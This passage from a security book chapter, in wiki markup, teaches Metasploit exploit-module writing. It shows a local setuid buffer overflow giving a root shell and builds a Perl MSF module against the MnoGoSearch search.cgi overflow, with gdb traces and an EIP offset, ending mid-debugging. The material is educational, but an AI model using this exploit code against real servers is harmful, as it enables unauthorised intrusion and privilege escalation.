 # '''chmod +s ./vuln'''&lt;br /&gt;
 # '''exit'''&lt;br /&gt;
 $ '''ls -la vuln'''&lt;br /&gt;
 -rwsrwsr-x    1 root     root         5817 Jan 24 05:50 vuln&lt;br /&gt;
&lt;br /&gt;
Now, for the actual exploitation of the program; use the &amp;lt;tt&amp;gt;`&amp;lt;/tt&amp;gt; (backtick) character to execute the Perl script that generates our exploit buffer. This buffer becomes the first argument to our vulnerable program. As previously mentioned, the overflowed program overwrites the sEIP address to our new return value which should point into our NOP sled. Execution continues up the NOP sled until our shellcode executes, giving us root access.&lt;br /&gt;
&lt;br /&gt;
 $'''./vuln `perl exploit_buffer.pl`'''&lt;br /&gt;
 # '''id'''&lt;br /&gt;
 uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;warning&amp;quot;&amp;gt;&lt;br /&gt;
'''Warning'''&lt;br /&gt;
&lt;br /&gt;
If you are using Perl version 5.8.0 or newer with UNICODE support, you should unset the &amp;lt;tt&amp;gt;LANG&amp;lt;/tt&amp;gt; environment variable to ensure that functions such as &amp;lt;tt&amp;gt;pack( )&amp;lt;/tt&amp;gt; work as expected. Various parts of MSF will fail otherwise. As a test, the following shell command should print the number &amp;lt;tt&amp;gt;4&amp;lt;/tt&amp;gt; when your locale settings are correct:&lt;br /&gt;
&lt;br /&gt;
 perl -e 'print pack(&amp;quot;V&amp;quot;,0xffffffff);' |wc -c&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Writing Exploits for MSF ==&lt;br /&gt;
&lt;br /&gt;
Within the framework, each exploit module is a class. MSF dynamically creates an instance of the classes found in the ''exploits/'' directory, as well as those found in ''$HOME/.msf/exploits/''. These classes inherit from the &amp;lt;tt&amp;gt;Msf::Exploit&amp;lt;/tt&amp;gt; class. The &amp;lt;tt&amp;gt;Msf::Exploit&amp;lt;/tt&amp;gt; class has methods you can override in your exploit modules. Overriding a method is simple: declare a method with the same name as the method you want to override. The most common methods to override are &amp;lt;tt&amp;gt;Check()&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;Exploit( )&amp;lt;/tt&amp;gt; because these are the core actions your exploits will make. &amp;lt;tt&amp;gt;Exploit( )&amp;lt;/tt&amp;gt; is special because the framework will call it when a user requests that action from one of the MSF frontends. If the appropriate parameters are set, the payload will be generated using the selected payload, encoder, and NOP generator. Then the &amp;lt;tt&amp;gt;Exploit( )&amp;lt;/tt&amp;gt; method will be executed, followed by the payload handler, which is the only method that has special actions before and after execution. &amp;lt;tt&amp;gt;Check( )&amp;lt;/tt&amp;gt; acts in the same way, except it returns an appropriate error code. [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-TABLE-4|Table 5-4]] provides a list of the methods available for overriding within your custom &amp;lt;tt&amp;gt;Exploit&amp;lt;/tt&amp;gt; modules. These methods are aliases for key values you can set in either &amp;lt;tt&amp;gt;$info-&amp;gt;Payload{}&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;$info-&amp;gt;Nop{}&amp;lt;/tt&amp;gt; hashes. If you have values that need to be chosen according to a variable situation, you might want to override the method instead of setting the hashes.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-5-TABLE-4&amp;quot;&amp;gt;&lt;br /&gt;
'''Table 5-4. Msf::Exploit methods that can be overridden'''&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot; &lt;br /&gt;
|-&lt;br /&gt;
! Method name !! Method description&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 PayloadPrependEncoder&lt;br /&gt;
| This is an alias for &amp;lt;tt&amp;gt;$info-&amp;gt;{Payload}-&amp;gt;{'PrependEncoder'}&amp;lt;/tt&amp;gt;. This will be added to the final payload after the NOP sled, but before the decoder machine code.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 PayloadPrepend&lt;br /&gt;
| This is an alias for &amp;lt;tt&amp;gt;$info-&amp;gt;{Payload}-&amp;gt;{'Prepend'}&amp;lt;/tt&amp;gt;. This will be added to the final payload directly before the shellcode, and before the encoding happens.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 PayloadAppend&lt;br /&gt;
| This is an alias for &amp;lt;tt&amp;gt;$info-&amp;gt;{Payload}-&amp;gt;{'Append'}&amp;lt;/tt&amp;gt;. This will be added to the final payload directly after the shellcode, and before the encoding happens.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 PayloadSpace&lt;br /&gt;
| This is an alias for &amp;lt;tt&amp;gt;$info-&amp;gt;{Payload}-&amp;gt;{'Space'}&amp;lt;/tt&amp;gt;. This is the total size of the payload: the NOP sled size plus the decoder size plus the encoded shellcode. The NOP sled will be adjusted according to the space size.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 PayloadBadChars&lt;br /&gt;
| This is an alias for &amp;lt;tt&amp;gt;$info-&amp;gt;{Payload}-&amp;gt;{'BadChars'}&amp;lt;/tt&amp;gt;. These are the characters the encoder should avoid when generating an encoded payload. The encoder will always err on the side of safety by stopping the exploit if the characters cannot be avoided.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 PayloadMinNops&lt;br /&gt;
| This is an alias for &amp;lt;tt&amp;gt;$info-&amp;gt;{Payload}-&amp;gt;{'MinNops'}&amp;lt;/tt&amp;gt;. This is the minimum size of the NOP sled. If an &amp;lt;tt&amp;gt;Encoder&amp;lt;/tt&amp;gt; module attempts to generate a NOP sled smaller than this, the exploit will stop and will print an error.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 PayloadMaxNops&lt;br /&gt;
| This is an alias for &amp;lt;tt&amp;gt;$info-&amp;gt;{Payload}-&amp;gt;{'MaxNops'}&amp;lt;/tt&amp;gt;. It is the maximum size of the NOP sled. If an &amp;lt;tt&amp;gt;Encoder&amp;lt;/tt&amp;gt; module attempts to generate a NOP sled larger than this, the exploit will stop and will print an error.&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
&lt;br /&gt;
 NopSaveRegs&lt;br /&gt;
| This is an alias for &amp;lt;tt&amp;gt;$info-&amp;gt;{Nop}-&amp;gt;{'SaveRegs'}&amp;lt;/tt&amp;gt;. This is for the NOP modules to avoid generating NOP-equivalent instructions that affect the variables in this array. For example, if a socket file descriptor was being held in &amp;lt;tt&amp;gt;eax&amp;lt;/tt&amp;gt; you wouldn't want to use the &amp;lt;tt&amp;gt;inc eax&amp;lt;/tt&amp;gt; NOP equivalent.&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As shown in the inheritance diagram in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-FIG-5|Figure 5-5]], because your exploit modules will inherit from &amp;lt;tt&amp;gt;Msf::Exploit&amp;lt;/tt&amp;gt; and its parent classes, you'll need to set &amp;lt;tt&amp;gt;%info&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;%advanced&amp;lt;/tt&amp;gt; with metadata regarding what your exploit requires from the framework.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div id=&amp;quot;networkst-CHP-5-FIG-5&amp;quot;&amp;gt;&lt;br /&gt;
'''Figure 5-5. An inheritance diagram of major MSF components'''&lt;br /&gt;
&lt;br /&gt;
[[Image:Network Security Tools_I_5_tt231.png|An inheritance diagram of major MSF components]]&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For &amp;lt;tt&amp;gt;%info&amp;lt;/tt&amp;gt;, you can set the following keys:&lt;br /&gt;
&lt;br /&gt;
;&amp;lt;tt&amp;gt;Name&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Descriptive name for your module.&lt;br /&gt;
;&amp;lt;tt&amp;gt;Version&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Version number.&lt;br /&gt;
;&amp;lt;tt&amp;gt;Authors&amp;lt;/tt&amp;gt;&lt;br /&gt;
: An array for listing the module's authors.&lt;br /&gt;
;&amp;lt;tt&amp;gt;Arch&amp;lt;/tt&amp;gt;&lt;br /&gt;
: An array of the architectures your module supports.&lt;br /&gt;
;&amp;lt;tt&amp;gt;OS&amp;lt;/tt&amp;gt;&lt;br /&gt;
: An array of the operating systems your module supports.&lt;br /&gt;
;&amp;lt;tt&amp;gt;Priv&amp;lt;/tt&amp;gt;&lt;br /&gt;
: A Boolean that states whether your exploit yields privileged access on success.&lt;br /&gt;
;&amp;lt;tt&amp;gt;UserOpts&amp;lt;/tt&amp;gt;&lt;br /&gt;
: A hash of arrays. The keys are the names of the options a user can set from a frontend. The first entry in the array is a Boolean that states whether the option is required or optional, the second entry is the variable type, the third is a short bit of descriptive text about the option, and the fourth is a default value. For example:&lt;br /&gt;
&lt;br /&gt;
 'UserOpts' =&amp;gt;{ 'RHOST' =&amp;gt; [1, 'ADDR', 'The target address']}&lt;br /&gt;
&lt;br /&gt;
;&amp;lt;tt&amp;gt;Payload&amp;lt;/tt&amp;gt;&lt;br /&gt;
: A hash that contains options for the payload module. These options were detailed, along with the methods you can use to set them, in [[Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework#networkst-CHP-5-TABLE-4|Table 5-4]].&lt;br /&gt;
;&amp;lt;tt&amp;gt;Nop&amp;lt;/tt&amp;gt;&lt;br /&gt;
: A hash. The &amp;lt;tt&amp;gt;SaveRegs&amp;lt;/tt&amp;gt; key is an array of registers that the NOP generator should not damage when it uses NOP-equivalent generators.&lt;br /&gt;
;&amp;lt;tt&amp;gt;Description&amp;lt;/tt&amp;gt;&lt;br /&gt;
: A description of your module: what it does, how reliable it is, warnings, and so on.&lt;br /&gt;
;&amp;lt;tt&amp;gt;Refs&amp;lt;/tt&amp;gt;&lt;br /&gt;
: An array of references for you to exploit OSVDB pages, advisories, and so on.&lt;br /&gt;
;&amp;lt;tt&amp;gt;Targets&amp;lt;/tt&amp;gt;&lt;br /&gt;
: An array of arrays for use in your exploit. The user will set the temporary environment variable &amp;lt;tt&amp;gt;TARGET&amp;lt;/tt&amp;gt; to an integer you can use to index this array. The entries for the array are completely user-defined. If a specific target requires more or less information, you can modify the target accordingly. For example:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;'Targets' =&amp;gt; [ ['Linux Bruteforce', '0xbffffe13', '0xbfff0000']]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;&amp;lt;tt&amp;gt;DefaultTarget&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Sets the index in the &amp;lt;tt&amp;gt;info-&amp;gt;{Targets}&amp;lt;/tt&amp;gt; array that will be selected as the default.&lt;br /&gt;
&lt;br /&gt;
The other important hash in your exploit modules is &amp;lt;tt&amp;gt;%advanced&amp;lt;/tt&amp;gt;. This hash's keys are advanced options a user would not normally need to modify. Usually, these are for development or fine-grained, detailed configuration. The values comprise an array where the first entry is the default value and the second is a description of the value. Though the purpose of &amp;lt;tt&amp;gt;%UserOpts&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;%advanced&amp;lt;/tt&amp;gt; is to set exploit parameters, they differ in terms of their behavior. The options in &amp;lt;tt&amp;gt;%UserOpts&amp;lt;/tt&amp;gt; are given types (&amp;lt;tt&amp;gt;ADDR&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;PORT&amp;lt;/tt&amp;gt;, etc.), and when the &amp;lt;tt&amp;gt;%UserOpts&amp;lt;/tt&amp;gt; values are accessed, they are checked against their stated types for consistency. Because &amp;lt;tt&amp;gt;%advanced&amp;lt;/tt&amp;gt; has no specific type declarations, any value can be set for it. Additionally, &amp;lt;tt&amp;gt;%advanced&amp;lt;/tt&amp;gt; values are not required, and a given exploit should always execute regardless of advanced options being set.&lt;br /&gt;
&lt;br /&gt;
Here is an example of how to declare user-controllable advanced options for an exploit that has a brute-forcing routine:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;my $advanced = {&lt;br /&gt;
  'StackTop'     =&amp;gt; ['', 'Start address for stack ret bruteforcing, empty for defaults from target'],&lt;br /&gt;
  'StackBottom'  =&amp;gt; ['', 'End address for stack ret bruteforcing, empty for defaults from target'],&lt;br /&gt;
  'StackStep'    =&amp;gt; [0, 'Step size for ret bruteforcing, 0 for auto calculation.'],&lt;br /&gt;
  'BruteWait'    =&amp;gt; [.4, 'Length in seconds to wait between brute force attempts']}&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An important concept in MSF is the environment system. This can be illustrated best with ''msfconsole''. The variables that are created or modified using the &amp;lt;tt&amp;gt;set&amp;lt;/tt&amp;gt; command are unique to each exploit—that is, they exist in a &amp;quot;temporary environment.&amp;quot; Each exploit has a temporary and a global environment. The global variables are set using the &amp;lt;tt&amp;gt;setg&amp;lt;/tt&amp;gt; command and persist across exploit module instantiation. To access these environment variables from exploit modules, use the &amp;lt;tt&amp;gt;GetVar()&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;GetLocal( )&amp;lt;/tt&amp;gt; methods. &amp;lt;tt&amp;gt;GetVar( )&amp;lt;/tt&amp;gt; will search for a variable in this order:&lt;br /&gt;
&lt;br /&gt;
# The temporary environment&lt;br /&gt;
# The global environment&lt;br /&gt;
# &amp;lt;tt&amp;gt;SelfName::Variable&amp;lt;/tt&amp;gt; (for making a module setting static within the context of an exploit module)&lt;br /&gt;
# A key in &amp;lt;tt&amp;gt;%advanced&amp;lt;/tt&amp;gt;&lt;br /&gt;
# A key in &amp;lt;tt&amp;gt;%UserOpts&amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This hierarchy is important to remember. If a global environment variable exists, the temporary environment is searched first. If we explicitly want a module's local variable, we use &amp;lt;tt&amp;gt;GetLocal( )&amp;lt;/tt&amp;gt;, because it has the same search order as &amp;lt;tt&amp;gt;GetVar( )&amp;lt;/tt&amp;gt; but does not search the global environment.&lt;br /&gt;
&lt;br /&gt;
== Writing a Module for the MnoGoSearch Overflow ==&lt;br /&gt;
&lt;br /&gt;
As mentioned earlier, buffer overflows have historically been the most commonly found security vulnerability in software. We've already seen an example that dealt with how this can be exploited on the local level. Local vulnerabilities require some kind of access to a system. In Unix-like systems this is usually user-level access. Then a local exploit would be used to elevate your privileges from your current access level to that of a higher privilege account, typically root. A remote vulnerability is more dangerous because it allows an attacker to gain an initial level of access to a target host or network via a network-based attack.&lt;br /&gt;
&lt;br /&gt;
Remote vulnerabilities are what MSF was designed for. The payloads, payload handlers, and socket classes are designed for use in writing remote exploit modules. In this section we'll use these features to write a proof-of-concept exploit for a remotely exploitable vulnerability in a CGI program.&lt;br /&gt;
&lt;br /&gt;
CGI programs are executed by web servers and were originally designed for dynamic data display. It is well known that a software system is only as secure as its weakest link. A CGI program normally runs in the context and access permissions of the web server that executed it. Hence, an overflow in a CGI would allow an exploit to gain the privilege level of the web server, normally the &amp;quot;nobody&amp;quot; or &amp;quot;www&amp;quot; users.&lt;br /&gt;
&lt;br /&gt;
=== Setting Up the Bug ===&lt;br /&gt;
&lt;br /&gt;
MnoGoSearch for Unix is an open source search engine software project. The primary interface to search the backend metadata is the C program ''search.cgi''. In August 2003, a stack-based buffer overflow was discovered in version 3.1.20 of the CGI program when handling an overly large value for the &amp;lt;tt&amp;gt;wf&amp;lt;/tt&amp;gt; GET parameter. By examining some of the affected code snippets from the ''search.c'' source code file, we can study the origin of the problem. In the interest of saving space, we've removed the irrelevant lines and put in line numbers for cross-referencing the original source code.&lt;br /&gt;
&lt;br /&gt;
 544  static int PrintOneTemplate(UDM_AGENT * Agent,UDM_DOCUMENT * Doc,char * &lt;br /&gt;
 Target,char *s,int where,int ntempl){&lt;br /&gt;
 ...&lt;br /&gt;
 902                          if(!strncmp(s,&amp;quot;wf&amp;quot;,2)){&lt;br /&gt;
 903                                  sprintf(UDM_STREND(Target),&amp;quot;%s&amp;quot;,wf?wf:&amp;quot;&amp;quot;);&lt;br /&gt;
 904                                  s++;&lt;br /&gt;
 905                          }else&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;UDM_STREND&amp;lt;/tt&amp;gt; macro finds the end of the string—in this case, &amp;lt;tt&amp;gt;Target&amp;lt;/tt&amp;gt;—which is one of the function's parameters. Then the &amp;lt;tt&amp;gt;wf&amp;lt;/tt&amp;gt; buffer—which comes directly from user-controllable input—is appended to the end of the &amp;lt;tt&amp;gt;Target&amp;lt;/tt&amp;gt; buffer using the &amp;lt;tt&amp;gt;sprintf( )&amp;lt;/tt&amp;gt; nonbounds checking function. A stack-based buffer overflow can occur when &amp;lt;tt&amp;gt;Target&amp;lt;/tt&amp;gt; is a static-size character buffer declared on the stack. Reviewing the rest of the source code reveals an instance of the ideal conditions for exploitation:&lt;br /&gt;
&lt;br /&gt;
 1125    static int PrintOption(UDM_AGENT * Agent,char * Target,int where,char * option){&lt;br /&gt;
 1126    UDM_TAG tag;&lt;br /&gt;
 1127    char *s;&lt;br /&gt;
 1128    int len;&lt;br /&gt;
 1129    char tmp[UDMSTRSIZ]=&amp;quot;&amp;quot;;&lt;br /&gt;
 ...&lt;br /&gt;
 1142                            PrintOneTemplate(Agent,NULL,tmp,option,where,0); &lt;br /&gt;
 1143                        UdmFreeTag(&amp;amp;tag);&lt;br /&gt;
 1144                       UdmParseTag(&amp;amp;tag,tmp);&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;tmp&amp;lt;/tt&amp;gt; static buffer is passed to the &amp;lt;tt&amp;gt;PrintOneTemplate( )&amp;lt;/tt&amp;gt; function, which is known to be vulnerable. The apparent effect is that the &amp;lt;tt&amp;gt;sprintf()&amp;lt;/tt&amp;gt; call in &amp;lt;tt&amp;gt;PrintOneTemplate( )&amp;lt;/tt&amp;gt; will overflow the &amp;lt;tt&amp;gt;tmp&amp;lt;/tt&amp;gt; buffer in &amp;lt;tt&amp;gt;PrintOption()&amp;lt;/tt&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
Our next step in verification is to set up a server with the vulnerable software running. For the vulnerable server we'll use OpenBSD 3.1 running the Apache web server with the ''search.cgi'' program compiled and installed in a CGI directory. We'll use the ''gdb'' debugger to examine the program from a shell on the server.&lt;br /&gt;
&lt;br /&gt;
To add a time delay that will allow us to find the process and attach to it, we will modify the CGI code. Near the top of the &amp;lt;tt&amp;gt;main( )&amp;lt;/tt&amp;gt; function in ''search.c'', after the variable declarations, add one line: &amp;lt;tt&amp;gt;'''sleep(10);'''&amp;lt;/tt&amp;gt;. This will give us time to catch the program and attach to it with ''gdb'' using a command line similar to this:&lt;br /&gt;
&lt;br /&gt;
                   '''$gdb -q search.cgi `ps ax |grep search.cgi|grep -v grep|awk '{ print $1 }'`'''&lt;br /&gt;
                &lt;br /&gt;
&lt;br /&gt;
=== The Evolution of a Working Exploit Module ===&lt;br /&gt;
&lt;br /&gt;
Once the test bed is set up, write an MSF module to test the vulnerability. This building-block module will slowly evolve to a final working exploit. The module should require that the user supply the appropriate options, which will build an HTTP request with an overly large &amp;lt;tt&amp;gt;wf&amp;lt;/tt&amp;gt; parameter, create a socket, and then send the request:&lt;br /&gt;
&lt;br /&gt;
 package Msf::Exploit::mnogosearch_wf;&lt;br /&gt;
 use strict;&lt;br /&gt;
 use base &amp;quot;Msf::Exploit&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
 my $advanced = { };&lt;br /&gt;
 &lt;br /&gt;
 my $info =&lt;br /&gt;
 {&lt;br /&gt;
         'Name'          =&amp;gt; 'Mnogosearch wf test',&lt;br /&gt;
         'Version'       =&amp;gt; '$Revision: 1.2 $',&lt;br /&gt;
         'Arch'          =&amp;gt; [ 'x86' ],&lt;br /&gt;
         'OS'            =&amp;gt; [ 'bsd' ],&lt;br /&gt;
         'Priv'          =&amp;gt; 0,&lt;br /&gt;
         'UserOpts'      =&amp;gt; {&lt;br /&gt;
                         'RHOST' =&amp;gt; [ 1, 'ADDR', 'The target HTTP server address' ],&lt;br /&gt;
                         'RPORT' =&amp;gt; [ 1, 'PORT', 'The target HTTP server port', 80],&lt;br /&gt;
                         'URI'   =&amp;gt; [ 1, 'DATA', 'The target CGI URI', '/cgi-bin/search.cgi' ],&lt;br /&gt;
                         'SSL'   =&amp;gt; [ 0, 'BOOL', 'Use SSL', 0 ]&lt;br /&gt;
                                 },&lt;br /&gt;
         'DefaultTarget' =&amp;gt; 0,&lt;br /&gt;
         'Targets'       =&amp;gt;&lt;br /&gt;
                 [&lt;br /&gt;
                         # Name &lt;br /&gt;
                         [ 'OpenBSD/3.1' ]&lt;br /&gt;
                 ],&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
The appropriate metadata information, such as the target operating system, target architecture, some user options, and the target address, has been set. Because this is only a test harness module, there is no need for targeting values.&lt;br /&gt;
&lt;br /&gt;
 sub new{&lt;br /&gt;
         my $class = shift;&lt;br /&gt;
         my $self;&lt;br /&gt;
         $self = $class-&amp;gt;SUPER::new( { 'Info'=&amp;gt;$info, 'Advanced'=&amp;gt;$advanced, }, @_);&lt;br /&gt;
         return $self;&lt;br /&gt;
 }&lt;br /&gt;
 sub Exploit{&lt;br /&gt;
         my $self = shift;&lt;br /&gt;
         my $targetHost = $self-&amp;gt;GetVar('RHOST');&lt;br /&gt;
         my $targetPort = $self-&amp;gt;GetVar('RPORT');&lt;br /&gt;
         my $uri        = $self-&amp;gt;GetVar('URI');&lt;br /&gt;
&lt;br /&gt;
A standard &amp;lt;tt&amp;gt;new( )&amp;lt;/tt&amp;gt; constructor is added so that MSF can create an instance of our &amp;lt;tt&amp;gt;mnogosearch_wf&amp;lt;/tt&amp;gt; class. The &amp;lt;tt&amp;gt;Exploit( )&amp;lt;/tt&amp;gt; method is overridden for the specific exploit, and local variables have been set based on the options the user supplied at runtime.&lt;br /&gt;
&lt;br /&gt;
        my $request =  &amp;quot;GET $uri?q=abc&amp;amp;wf=&amp;quot; .&lt;br /&gt;
                         Pex::Text::PatternCreate(6000) .&lt;br /&gt;
                         &amp;quot; HTTP/1.0\r\n\r\n&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
         my $s = Msf::Socket::Tcp-&amp;gt;new(&lt;br /&gt;
                 'PeerAddr'  =&amp;gt; $targetHost,&lt;br /&gt;
                 'PeerPort'  =&amp;gt; $targetPort,&lt;br /&gt;
                 'SSL'       =&amp;gt; $self-&amp;gt;GetVar('SSL'),&lt;br /&gt;
         );&lt;br /&gt;
         if ($s-&amp;gt;IsError) {&lt;br /&gt;
                 $self-&amp;gt;PrintError;&lt;br /&gt;
                 return;&lt;br /&gt;
         }&lt;br /&gt;
         $s-&amp;gt;Send($request);&lt;br /&gt;
 } 1;#standard Perl module ending&lt;br /&gt;
&lt;br /&gt;
Finally, build the request using &amp;lt;tt&amp;gt;PatternCreate()&amp;lt;/tt&amp;gt; to generate a trace buffer, initiate a TCP socket using the supplied user options, and send the request to the web server.&lt;br /&gt;
&lt;br /&gt;
We'll save this module as ''mnogosearch_wf.pm'' and place it in the ''~/.msf/exploits/'' directory. Using ''msfconsole'', select the &amp;lt;tt&amp;gt;mnogosearch_wf&amp;lt;/tt&amp;gt; exploit, set the appropriate options to point to the target server, and use the &amp;lt;tt&amp;gt;exploit&amp;lt;/tt&amp;gt; command to send the request.&lt;br /&gt;
&lt;br /&gt;
After running the module, use ''gdb'' to attach to the ''search.cgi'' process. Set a breakpoint on the vulnerable function and continue to step through it until it processes the &amp;lt;tt&amp;gt;wf&amp;lt;/tt&amp;gt; buffer. This happens on the nineteenth call to the function, so examine what happens at that point:&lt;br /&gt;
&lt;br /&gt;
 anomaly$ gdb -q search.cgi `ps ax|grep search.cgi|grep -v grep|awk '{ print $1 }'`&lt;br /&gt;
 ...&lt;br /&gt;
 (gdb) break PrintOption&lt;br /&gt;
 Breakpoint 1 at 0x5250: file search.c, line 1125.&lt;br /&gt;
 (gdb) continue&lt;br /&gt;
 ...&lt;br /&gt;
 (gdb) continue 18&lt;br /&gt;
 Will ignore next 17 crossings of breakpoint 1.  Continuing.&lt;br /&gt;
 &lt;br /&gt;
 Breakpoint 1, PrintOption (Agent=0x4f000, Target=0x288b5 &amp;quot;&amp;quot;, where=100,&lt;br /&gt;
     option=0x86a80 &amp;quot;&amp;lt;OPTION VALUE=\&amp;quot;222210\&amp;quot;  SELECTED=\&amp;quot;$wf\&amp;quot;&amp;gt;all sections\n&amp;quot;) at search.c:1125&lt;br /&gt;
 1125    static int PrintOption(UDM_AGENT * Agent,char * Target,int where,char * option){&lt;br /&gt;
 (gdb) info frame&lt;br /&gt;
 ...&lt;br /&gt;
  Saved registers:&lt;br /&gt;
   ebx at 0xdfbf6a08, ebp at 0xdfbf7e50, esi at 0xdfbf6a0c, edi at 0xdfbf6a10, '''eip at 0xdfbf7e54'''&lt;br /&gt;
 (gdb) x/12x &amp;amp;tag&lt;br /&gt;
 0xdfbf7e2c:     0x00000000      0x00000000      0x74206f4e      0x656c7469&lt;br /&gt;
 0xdfbf7e3c:     0x00000000      0x400914d3      0x00000480      0x00028430&lt;br /&gt;
 0xdfbf7e4c:     0x00086a80      0xdfbf7e90      '''0x0000579f'''      0x0004f000&lt;br /&gt;
 (gdb) '''x/x 0xdfbf7e54'''&lt;br /&gt;
                   &lt;br /&gt;
 '''                     0xdfbf7e54:     0x0000579f'''&lt;br /&gt;
                   &lt;br /&gt;
 (gdb) continue&lt;br /&gt;
 Continuing.&lt;br /&gt;
 &lt;br /&gt;
 Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;
 0x53e2 in PrintOption (Agent=0x47307047, '''Target=0x70473170 &amp;lt;Error reading address 0x70473170: Invalid argument&amp;gt;''',&lt;br /&gt;
     where=862996274, option=0x47347047 &amp;lt;Error reading address 0x47347047: Invalid argument&amp;gt;) at search.c:1154&lt;br /&gt;
 1154                    sprintf(UDM_STREND(Target),&amp;quot;&amp;lt;OPTION VALUE=\&amp;quot;%s\&amp;quot;%s&amp;gt;&amp;quot;,tag.value,&lt;br /&gt;
 (gdb) '''x/16x 0xdfbf7e2c             #Examining memory of from &amp;quot;tag&amp;quot; through &amp;quot;Target'''&amp;quot;&lt;br /&gt;
 0xdfbf7e2c:     0x00087930      0x00000000      0x00000000      0x00000000&lt;br /&gt;
 0xdfbf7e3c:     0x00087940      0x00084000      0x00000000      0x00000000&lt;br /&gt;
 0xdfbf7e4c:     0x00000000      0x6f47376f      '''0x396f4738'''      0x47307047&lt;br /&gt;
 0xdfbf7e5c:     '''0x70473170'''      0x33704732      0x47347047      0x70473570&lt;br /&gt;
 (gdb) '''x/x 0xdfbf7e5c               #The Target Parameter which caused the SIGSEGV'''&lt;br /&gt;
 0xdfbf7e5c:     0x70473170&lt;br /&gt;
 (gdb) '''x/x 0xdfbf7e5        4#The new sEIP value'''&lt;br /&gt;
 0xdfbf7e54:     0x396f4738&lt;br /&gt;
&lt;br /&gt;
Examining memory around the &amp;lt;tt&amp;gt;tag&amp;lt;/tt&amp;gt; variable shows the state of the stack frame before the call to &amp;lt;tt&amp;gt;PrintOneTemplate()&amp;lt;/tt&amp;gt; and before the overflow gets triggered. The &amp;lt;tt&amp;gt;info frame&amp;lt;/tt&amp;gt; command gives user information regarding registers saved on the stack, including the all-important &amp;lt;tt&amp;gt;EIP&amp;lt;/tt&amp;gt; register. Examine the memory location to track how this important location is affected. After continuing past the overflow trigger point, the program receives a segmentation fault signal, but not from an invalid EIP, as we might expect. As it turns out, the &amp;lt;tt&amp;gt;sprintf()&amp;lt;/tt&amp;gt; function on line 1,154 (which comes after our overflow but before the function return) needs a parameter that points to a mapped memory location to perform its operations. We'll have to keep this in mind as the overflow is examined in more detail.&lt;br /&gt;
&lt;br /&gt;
Even though the segmentation fault was not a direct result of an invalid EIP, the final &amp;lt;tt&amp;gt;x/x&amp;lt;/tt&amp;gt; command shows the sEIP has indeed been overwritten. You can use the ''patternOffset.pl'' MSF tool to find the offset to &amp;lt;tt&amp;gt;sEIP&amp;lt;/tt&amp;gt;. Using the overwritten sEIP of &amp;lt;tt&amp;gt;0x396f4738&amp;lt;/tt&amp;gt;, the tool shows the offset to overwrite sEIP is &amp;lt;tt&amp;gt;5126&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Using this new information, modify exploit code to get through the function and reach the return. The strategy will be to leave the &amp;lt;tt&amp;gt;Target&amp;lt;/tt&amp;gt; parameter unchanged so that the &amp;lt;tt&amp;gt;sprintf( )&amp;lt;/tt&amp;gt; succeeds. The request now becomes:&lt;br /&gt;
&lt;br /&gt;
         my $request =  &amp;quot;GET $uri?q=abc&amp;amp;wf=&amp;quot; .&lt;br /&gt;
                         Pex::Text::PatternCreate(5126) .&lt;br /&gt;
                         &amp;quot;1234&amp;quot;. #overwritten sEIP&lt;br /&gt;
                         &amp;quot; HTTP/1.0\r\n\r\n&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
With this modification, again run the exploit and trace the process:&lt;br /&gt;
&lt;br /&gt;
 (gdb) continue&lt;br /&gt;
 Continuing.&lt;br /&gt;
 &lt;br /&gt;
 Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;
